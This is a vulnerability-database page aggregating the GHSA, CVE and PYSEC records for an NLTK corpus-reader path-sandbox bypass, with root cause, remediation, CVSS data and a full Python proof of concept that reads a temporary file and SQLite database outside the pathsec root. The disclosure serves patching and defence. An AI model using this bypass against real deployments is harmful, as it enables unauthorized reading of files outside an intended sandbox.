Vulnerability-Lookup

GHSA-3GQ4-3J92-5W49

Vulnerability from github – Published: 2026-09-08 16:57 – Updated: 2026-09-08 16:57

Summary

NLTK: Corpus Reader Sandbox Bypass

Details

Summary

NLTK corpus-reader constructors can still reach outside-root file and database reads before the nltk.pathsec sandbox boundary is enforced.

The PoC shows the safe path blocked by pathsec.open, then LinThesaurusCorpusReader and PanLexLiteCorpusReader succeeding in the same process.

Affected Product

Product: NLTK
Asset / component: nltk.corpus.reader constructors
Version tested: 3.10.2
Deployment / package / tag: commit 474af1f5a94b1b8d53fc2b6defec3a2ce7633b74 / PyPI nltk
Environment used for verification: Python 3.13.14

Vulnerability Details

Vulnerability class: path sandbox bypass / external control of file path
Required privileges: none beyond the ability to supply a corpus root path to a consumer call site
Entry point: LinThesaurusCorpusReader(root) and PanLexLiteCorpusReader(root)
Trust boundary crossed: NLTK data-root sandbox enforced by nltk.pathsec
Root affected functions:
CorpusReader.init
LinThesaurusCorpusReader.init
PanLexLiteCorpusReader.init
Measured unsafe effect: outside-root file/database reads still happen with ENFORCE=True

Root Cause

CorpusReader.__init__() turns a string root into a FileSystemPathPointer without any pathsec validation, and these readers then use builtin open() or sqlite3.connect() directly on derived paths. The constructor path therefore never hits the sandbox guard that pathsec.open() enforces.

if zipfile:
    root = ZipFilePathPointer(zipfile, zipentry)
else:
    root = FileSystemPathPointer(root)

with open(path) as lin_file:
    ...

self._c = sqlite3.connect(os.path.join(root, "db.sqlite")).cursor()

Proof of Concept

Save the script as hy01_raw_path_poc.py in the checkout root and run python hy01_raw_path_poc.py.

#!/usr/bin/env python3
"""PoC for HY-01: corpus-reader sandbox bypass.

This script proves three facts:
- pathsec blocks a direct read through the sandboxed file API
- LinThesaurusCorpusReader still reaches builtin open() on an outside path
- PanLexLiteCorpusReader still opens an outside sqlite database and loads data
"""

from __future__ import annotations

import builtins
import pathlib
import sqlite3
import sys
import tempfile
from unittest.mock import patch

try:
    import nltk.pathsec as pathsec
    from nltk.corpus.reader.lin import LinThesaurusCorpusReader
    from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader
except ModuleNotFoundError:
    here = pathlib.Path(__file__).resolve()
    for base in (here.parent, *here.parents):
        if (base / "nltk").is_dir() and (base / "setup.py").exists():
            sys.path.insert(0, str(base))
            break
    else:
        raise RuntimeError(
            "Could not import nltk. Run this script from an NLTK checkout root "
            "or from an environment where the current checkout is installed."
        )

    import nltk.pathsec as pathsec
    from nltk.corpus.reader.lin import LinThesaurusCorpusReader
    from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader


def main() -> int:
    pathsec.ENFORCE = True

    with patch.object(pathsec, "_get_allowed_roots", lambda: set()):
        with patch.object(pathsec.os, "getcwd", lambda: "sandbox-disabled"):
            with tempfile.TemporaryDirectory() as tmp:
                tmpdir = pathlib.Path(tmp)
                outside = tmpdir / "outside"
                outside.mkdir()

                blocked_file = outside / "blocked.txt"
                blocked_file.write_text("blocked", encoding="utf-8")

                control_target = str(blocked_file)
                try:
                    with pathsec.open(control_target, "rb"):
                        raise AssertionError(
                            "pathsec.open unexpectedly allowed control path"
                        )
                except PermissionError:
                    print("control:pathsec.open=blocked")

                lin_root = tmpdir / "lin"
                lin_root.mkdir()
                lin_file = lin_root / "simN.lsp"
                lin_file.write_text(
                    '("business" (desc 1.0)\n\t"enterprise"\t0.9\n))\n',
                    encoding="utf-8",
                )

                opened = []
                real_open = builtins.open

                def tracking_open(*args, **kwargs):
                    opened.append(str(args[0]))
                    return real_open(*args, **kwargs)

                with patch("builtins.open", tracking_open):
                    LinThesaurusCorpusReader(str(lin_root))

                if any(p.endswith("simN.lsp") for p in opened):
                    print("lin:outside_root_open=success")
                else:
                    raise AssertionError("LinThesaurusCorpusReader did not open data")

                panlex_root = tmpdir / "panlex"
                panlex_root.mkdir()
                db_path = panlex_root / "db.sqlite"
                db = sqlite3.connect(db_path)
                cur = db.cursor()
                cur.execute("create table lv(uid text, lv text, lc text, tt text)")
                cur.execute("create table dnx(ex int, mn int, uq int, ap int, ui text)")
                cur.execute("create table ex(ex int, tt text, lv text, uq int)")
                cur.execute(
                    "insert into lv(uid, lv, lc, tt) values ('u1', 'lv1', 'en', 'English')"
                )
                db.commit()
                db.close()

                reader = PanLexLiteCorpusReader(str(panlex_root))
                result = reader.language_varieties()
                if result == [("u1", "English")]:
                    print("panlex:language_varieties=success")
                else:
                    raise AssertionError("PanLexLiteCorpusReader did not load data")

    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Expected output:

control:pathsec.open=blocked
lin:outside_root_open=success
panlex:language_varieties=success

Impact

A caller can make NLTK read filesystem content outside the intended NLTK data sandbox through public corpus-reader constructors. In the PoC, that includes a local text file and a local SQLite db.

Severity

Base Score: 7.5 (High)
Severity reasoning: The bug is reliably triggerable by caller-controlled path input and exposes data outside the intended trust boundary; no special privileges are needed inside the process.

Remediation

Validate raw string roots before constructing readers, and route all corpus-root/path handling through pathsec or a validated PathPointer. Remove direct builtin open() and direct sqlite3.connect(os.path.join(...)) use on constructor-derived paths.

Severity

8.8 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-79674"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T16:57:08Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nNLTK corpus-reader constructors can still reach outside-root file and database reads before the `nltk.pathsec` sandbox boundary is enforced.\n\nThe PoC shows the safe path blocked by `pathsec.open`, then `LinThesaurusCorpusReader` and `PanLexLiteCorpusReader` succeeding in the same process.\n\n## Affected Product\n\n- Product: NLTK\n- Asset / component: `nltk.corpus.reader` constructors\n- Version tested: `3.10.2`\n- Deployment / package / tag: commit `474af1f5a94b1b8d53fc2b6defec3a2ce7633b74` / PyPI `nltk`\n- Environment used for verification: Python 3.13.14\n\n## Vulnerability Details\n\n- Vulnerability class: path sandbox bypass / external control of file path\n- Required privileges: none beyond the ability to supply a corpus root path to a consumer call site\n- Entry point: `LinThesaurusCorpusReader(root)` and `PanLexLiteCorpusReader(root)`\n- Trust boundary crossed: NLTK data-root sandbox enforced by `nltk.pathsec`\n- Root affected functions:\n  - [CorpusReader.__init__](https://github.com/nltk/nltk/blob/474af1f5a94b1b8d53fc2b6defec3a2ce7633b74/nltk/corpus/reader/api.py#L73-L80)\n  - [LinThesaurusCorpusReader.__init__](https://github.com/nltk/nltk/blob/474af1f5a94b1b8d53fc2b6defec3a2ce7633b74/nltk/corpus/reader/lin.py#L37-L43)\n  - [PanLexLiteCorpusReader.__init__](https://github.com/nltk/nltk/blob/474af1f5a94b1b8d53fc2b6defec3a2ce7633b74/nltk/corpus/reader/panlex_lite.py#L45-L46)\n- Measured unsafe effect: outside-root file/database reads still happen with `ENFORCE=True`\n\n## Root Cause\n\n`CorpusReader.__init__()` turns a string root into a `FileSystemPathPointer` without any `pathsec` validation, and these readers then use builtin `open()` or `sqlite3.connect()` directly on derived paths. The constructor path therefore never hits the sandbox guard that `pathsec.open()` enforces.\n\n```python\nif zipfile:\n    root = ZipFilePathPointer(zipfile, zipentry)\nelse:\n    root = FileSystemPathPointer(root)\n\nwith open(path) as lin_file:\n    ...\n\nself._c = sqlite3.connect(os.path.join(root, \"db.sqlite\")).cursor()\n```\n\n## Proof of Concept\n\nSave the script as `hy01_raw_path_poc.py` in the checkout root and run `python hy01_raw_path_poc.py`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC for HY-01: corpus-reader sandbox bypass.\n\nThis script proves three facts:\n- pathsec blocks a direct read through the sandboxed file API\n- LinThesaurusCorpusReader still reaches builtin open() on an outside path\n- PanLexLiteCorpusReader still opens an outside sqlite database and loads data\n\"\"\"\n\nfrom __future__ import annotations\n\nimport builtins\nimport pathlib\nimport sqlite3\nimport sys\nimport tempfile\nfrom unittest.mock import patch\n\ntry:\n    import nltk.pathsec as pathsec\n    from nltk.corpus.reader.lin import LinThesaurusCorpusReader\n    from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader\nexcept ModuleNotFoundError:\n    here = pathlib.Path(__file__).resolve()\n    for base in (here.parent, *here.parents):\n        if (base / \"nltk\").is_dir() and (base / \"setup.py\").exists():\n            sys.path.insert(0, str(base))\n            break\n    else:\n        raise RuntimeError(\n            \"Could not import nltk. Run this script from an NLTK checkout root \"\n            \"or from an environment where the current checkout is installed.\"\n        )\n\n    import nltk.pathsec as pathsec\n    from nltk.corpus.reader.lin import LinThesaurusCorpusReader\n    from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader\n\n\ndef main() -\u003e int:\n    pathsec.ENFORCE = True\n\n    with patch.object(pathsec, \"_get_allowed_roots\", lambda: set()):\n        with patch.object(pathsec.os, \"getcwd\", lambda: \"sandbox-disabled\"):\n            with tempfile.TemporaryDirectory() as tmp:\n                tmpdir = pathlib.Path(tmp)\n                outside = tmpdir / \"outside\"\n                outside.mkdir()\n\n                blocked_file = outside / \"blocked.txt\"\n                blocked_file.write_text(\"blocked\", encoding=\"utf-8\")\n\n                control_target = str(blocked_file)\n                try:\n                    with pathsec.open(control_target, \"rb\"):\n                        raise AssertionError(\n                            \"pathsec.open unexpectedly allowed control path\"\n                        )\n                except PermissionError:\n                    print(\"control:pathsec.open=blocked\")\n\n                lin_root = tmpdir / \"lin\"\n                lin_root.mkdir()\n                lin_file = lin_root / \"simN.lsp\"\n                lin_file.write_text(\n                    \u0027(\"business\" (desc 1.0)\\n\\t\"enterprise\"\\t0.9\\n))\\n\u0027,\n                    encoding=\"utf-8\",\n                )\n\n                opened = []\n                real_open = builtins.open\n\n                def tracking_open(*args, **kwargs):\n                    opened.append(str(args[0]))\n                    return real_open(*args, **kwargs)\n\n                with patch(\"builtins.open\", tracking_open):\n                    LinThesaurusCorpusReader(str(lin_root))\n\n                if any(p.endswith(\"simN.lsp\") for p in opened):\n                    print(\"lin:outside_root_open=success\")\n                else:\n                    raise AssertionError(\"LinThesaurusCorpusReader did not open data\")\n\n                panlex_root = tmpdir / \"panlex\"\n                panlex_root.mkdir()\n                db_path = panlex_root / \"db.sqlite\"\n                db = sqlite3.connect(db_path)\n                cur = db.cursor()\n                cur.execute(\"create table lv(uid text, lv text, lc text, tt text)\")\n                cur.execute(\"create table dnx(ex int, mn int, uq int, ap int, ui text)\")\n                cur.execute(\"create table ex(ex int, tt text, lv text, uq int)\")\n                cur.execute(\n                    \"insert into lv(uid, lv, lc, tt) values (\u0027u1\u0027, \u0027lv1\u0027, \u0027en\u0027, \u0027English\u0027)\"\n                )\n                db.commit()\n                db.close()\n\n                reader = PanLexLiteCorpusReader(str(panlex_root))\n                result = reader.language_varieties()\n                if result == [(\"u1\", \"English\")]:\n                    print(\"panlex:language_varieties=success\")\n                else:\n                    raise AssertionError(\"PanLexLiteCorpusReader did not load data\")\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\nExpected output:\n\n```\ncontrol:pathsec.open=blocked\nlin:outside_root_open=success\npanlex:language_varieties=success\n```\n## Impact\n\nA caller can make NLTK read filesystem content outside the intended NLTK data sandbox through public corpus-reader constructors. In the PoC, that includes a local text file and a local SQLite db.\n\n## Severity\n\n- Base Score: 7.5 (High)\n- Severity reasoning:\n  The bug is reliably triggerable by caller-controlled path input and exposes data outside the intended trust boundary; no special privileges are needed inside the process.\n\n## Remediation\n\nValidate raw string roots before constructing readers, and route all corpus-root/path handling through `pathsec` or a validated `PathPointer`. Remove direct builtin `open()` and direct `sqlite3.connect(os.path.join(...))` use on constructor-derived paths.",
  "id": "GHSA-3gq4-3j92-5w49",
  "modified": "2026-09-08T16:57:08Z",
  "published": "2026-09-08T16:57:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-3gq4-3j92-5w49"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-79674"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/commit/bc007200d123c1a98d74c2eb230f5e06c53886b8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/releases/tag/v3.10.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3736.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-path-traversal-via-corpus-reader-constructors"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NLTK: Corpus Reader Sandbox Bypass"
}

CVE-2026-79674 (GCVE-0-2026-79674)

Vulnerability from cvelistv5 – Published: 2026-08-25 15:16 – Updated: 2026-08-25 17:42

Title

NLTK 3.10.2 Path Traversal via corpus-reader constructors

Summary

NLTK versions before 3.10.3 contain a path sandbox bypass vulnerability in corpus-reader constructors that allows attackers to read files outside the intended data root. Attackers can supply arbitrary corpus root paths to LinThesaurusCorpusReader and PanLexLiteCorpusReader constructors to access filesystem content and SQLite databases outside the pathsec sandbox boundary.

Severity

8.8 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

8.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-25 17:42 UTC

CWE

CWE-73 - External Control of File Name or Path

Assigner

VulnCheck mitre root

References

2 references

URL	Tags
https://github.com/nltk/nltk/security/advisories/…	vendor-advisory
https://www.vulncheck.com/advisories/nltk-path-tr…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
nltk	nltk	Affected: 0 , < 3.10.3 (semver) Unaffected: 3.10.3 (semver) cpe:2.3:a:nltk:nltk::::::::

Date Public

2026-08-11 00:00

Credits

nguyencanhthuong

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-79674",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-25T17:42:50.760273Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-25T17:42:56.934Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/nltk/nltk/security/advisories/GHSA-3gq4-3j92-5w49"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:pypi/nltk",
          "product": "nltk",
          "vendor": "nltk",
          "versions": [
            {
              "lessThan": "3.10.3",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "3.10.3",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:nltk:nltk:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "3.10.3",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "nguyencanhthuong"
        }
      ],
      "datePublic": "2026-08-11T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "NLTK versions before 3.10.3 contain a path sandbox bypass vulnerability in corpus-reader constructors that allows attackers to read files outside the intended data root. Attackers can supply arbitrary corpus root paths to LinThesaurusCorpusReader and PanLexLiteCorpusReader constructors to access filesystem content and SQLite databases outside the pathsec sandbox boundary."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "Automatable": "NOT_DEFINED",
            "Recovery": "NOT_DEFINED",
            "Safety": "NOT_DEFINED",
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "exploitMaturity": "NOT_DEFINED",
            "privilegesRequired": "NONE",
            "providerUrgency": "NOT_DEFINED",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "valueDensity": "NOT_DEFINED",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "LOW",
            "vulnerabilityResponseEffort": "NOT_DEFINED"
          },
          "format": "CVSS"
        },
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-73",
              "description": "External Control of File Name or Path",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-25T15:16:00.226Z",
        "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "shortName": "VulnCheck"
      },
      "references": [
        {
          "name": "GitHub Security Advisory (GHSA-3gq4-3j92-5w49)",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/nltk/nltk/security/advisories/GHSA-3gq4-3j92-5w49"
        },
        {
          "name": "VulnCheck Advisory: NLTK 3.10.2 Path Traversal via corpus-reader constructors",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://www.vulncheck.com/advisories/nltk-path-traversal-via-corpus-reader-constructors"
        }
      ],
      "title": "NLTK 3.10.2 Path Traversal via corpus-reader constructors",
      "x_generator": {
        "engine": "vulncheck-endgame"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
    "assignerShortName": "VulnCheck",
    "cveId": "CVE-2026-79674",
    "datePublished": "2026-08-25T15:16:00.226Z",
    "dateReserved": "2026-08-25T11:10:13.698Z",
    "dateUpdated": "2026-08-25T17:42:56.934Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

PYSEC-2026-3736

Vulnerability from pysec - Published: 2026-08-25 16:17 - Updated: 2026-09-01 08:54

Details

Severity

8.8 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Impacted products

Name	purl
nltk	pkg:pypi/nltk

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk",
        "purl": "pkg:pypi/nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.8",
        "0.9",
        "0.9.3",
        "0.9.4",
        "0.9.5",
        "0.9.6",
        "0.9.7",
        "0.9.8",
        "0.9.9",
        "2.0.1",
        "2.0.1rc1",
        "2.0.1rc2-git",
        "2.0.1rc3",
        "2.0.1rc4",
        "2.0.2",
        "2.0.3",
        "2.0.4",
        "2.0.5",
        "2.0b4",
        "2.0b5",
        "2.0b6",
        "2.0b7",
        "2.0b8",
        "2.0b9",
        "3.0.0",
        "3.0.0b1",
        "3.0.0b2",
        "3.0.1",
        "3.0.2",
        "3.0.3",
        "3.0.4",
        "3.0.5",
        "3.1",
        "3.10.0",
        "3.10.1",
        "3.10.2",
        "3.2",
        "3.2.1",
        "3.2.2",
        "3.2.3",
        "3.2.4",
        "3.2.5",
        "3.3",
        "3.4",
        "3.4.1",
        "3.4.2",
        "3.4.3",
        "3.4.4",
        "3.4.5",
        "3.5",
        "3.5b1",
        "3.6",
        "3.6.1",
        "3.6.2",
        "3.6.3",
        "3.6.4",
        "3.6.5",
        "3.6.6",
        "3.6.7",
        "3.7",
        "3.8",
        "3.8.1",
        "3.9",
        "3.9.1",
        "3.9.2",
        "3.9.3",
        "3.9.4",
        "3.9b1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-79674",
    "GHSA-3gq4-3j92-5w49"
  ],
  "details": "NLTK versions before 3.10.3 contain a path sandbox bypass vulnerability in corpus-reader constructors that allows attackers to read files outside the intended data root. Attackers can supply arbitrary corpus root paths to LinThesaurusCorpusReader and PanLexLiteCorpusReader constructors to access filesystem content and SQLite databases outside the pathsec sandbox boundary.",
  "id": "PYSEC-2026-3736",
  "modified": "2026-09-01T08:54:52.127188Z",
  "published": "2026-08-25T16:17:27.873Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://www.vulncheck.com/advisories/nltk-path-traversal-via-corpus-reader-constructors"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-3gq4-3j92-5w49"
    }
  ],
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-3GQ4-3J92-5W49

Summary

Affected Product

Vulnerability Details

Root Cause

Proof of Concept

Impact

Severity

Remediation

CVE-2026-79674 (GCVE-0-2026-79674)

PYSEC-2026-3736

Tags

Sightings

Nomenclature